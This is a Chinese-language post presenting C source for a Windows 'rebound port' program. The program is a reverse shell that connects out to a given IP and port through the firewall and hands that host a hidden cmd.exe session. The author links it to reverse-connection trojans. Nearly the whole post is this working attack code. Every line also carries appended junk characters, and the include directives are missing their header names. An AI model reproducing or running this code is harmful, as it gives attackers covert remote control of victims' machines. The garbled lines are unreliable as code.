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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 10r!p: D  
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/* ============================== LL+_zBP.   
Rebound port in Windows NT J_|%8N{[x  
By wind,2006/7 };Df ><  
===============================*/ 7`)RB hGB  
#include gA1j'!\6l9  
#include \S?-[v*{  
8 K)GH:a  
#pragma comment(lib,"wsock32.lib") 6e5A8e8"]  
w_~tY*IwB  
void OutputShell(); BV/ ^S.~  
SOCKET sClient; as y:[r"  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; If'N0^'W  
1E4`&?  
void main(int argc,char **argv) Z R~2Y?Wt9  
{ 1sJz`+\  
WSADATA stWsaData; #KHj.Vg  
int nRet; B !rb*"[  
SOCKADDR_IN stSaiClient,stSaiServer; VtU2&  
^AZv4H*~  
if(argc != 3) P-yVc2YH  
{ pRsIi_~&  
printf("Useage:\n\rRebound DestIP DestPort\n"); d}Y#l}!E6  
return; sE{5&aCSR  
} GH3RRzp r  
Y[rCF=ZVH  
WSAStartup(MAKEWORD(2,2),&stWsaData); b%C7 kL-  
U!BZs Vx  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?LvU7  
+J A\by  
stSaiClient.sin_family = AF_INET; XC}2GHO<  
stSaiClient.sin_port = htons(0); Y q|OX<i`K  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); H xc>?  
`m"K_\w=/  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) DM\pi9<m  
{  ggfCfn  
printf("Bind Socket Failed!\n"); @cx#'  
return; heb{i5el  
} ALInJ{X  
5RY-.c4}  
stSaiServer.sin_family = AF_INET; K 4{[s z  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 7<2^8 `  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); F`Z?$ 1  
?a?4;Y!  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) S~|\bnE  
{ ]]_c3LJ2`  
printf("Connect Error!"); dww4o~hO  
return; 8LuU2Lo  
} 2<AQ{ c  
OutputShell(); {aopGu?i  
} W55kR.X6M  
&a\G,Ma  
void OutputShell() n#4T o;CS  
{ rV-Xsf7Z  
char szBuff[1024]; /P/0\3TCi  
SECURITY_ATTRIBUTES stSecurityAttributes; v!n|X7  
OSVERSIONINFO stOsversionInfo; 6aWnj*dF  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; `Uvc^  
STARTUPINFO stStartupInfo; cb. -AlqQ  
char *szShell; 1n.F`%YG  
PROCESS_INFORMATION stProcessInformation; lm+s5}*%o  
unsigned long lBytesRead; )! k l:  
sYk#XNH  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); !9V; 8g  
)hVn/*mH  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); o?#-Tkb  
stSecurityAttributes.lpSecurityDescriptor = 0; y^ st T^  
stSecurityAttributes.bInheritHandle = TRUE; &*Kk> 4  
DoICf1  
[8acan+ 2l  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); d5=&:cF  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 9El{>&Fs4  
T=g2gmo9  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); PbV1FB_  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <Y;w I#C  
stStartupInfo.wShowWindow = SW_HIDE; I-Hg6WtB  
stStartupInfo.hStdInput = hReadPipe; ;1r|Bx<5  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; }`76yH^c  
Wk }}f|O0  
GetVersionEx(&stOsversionInfo); ezm*9Jc~p  
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switch(stOsversionInfo.dwPlatformId) dtV7YPz4+  
{ oGt2n:  
case 1: 25W #mh,'  
szShell = "command.com"; OU?.}qc<wE  
break; UdpuQzV<4`  
default: T*(mi{[T  
szShell = "cmd.exe"; G) 37?A)  
break; rfh`;G5s  
} JM*!(\Y  
/f=31<+MtF  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); _X{ GZJm  
scE#&OWF%  
send(sClient,szMsg,77,0); 4i"fHVp8  
while(1) gmiLjI  
{ G//hZwf0  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); lxR]Bh+  
if(lBytesRead) %w/vKB"nO  
{ m1sV~"v;  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); hw B9N  
send(sClient,szBuff,lBytesRead,0); sM9utR  
} !_iv~Q zv  
else xd4~[n\hm  
{ =W gzj|Kr  
lBytesRead=recv(sClient,szBuff,1024,0); 0R-W 9qP  
if(lBytesRead<=0) break; )]zsAw`/  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); M~.1:%khM  
} owA.P-4  
} Y44[2 :m  
"|E'E"_1  
return; @F|pKf:M+  
}
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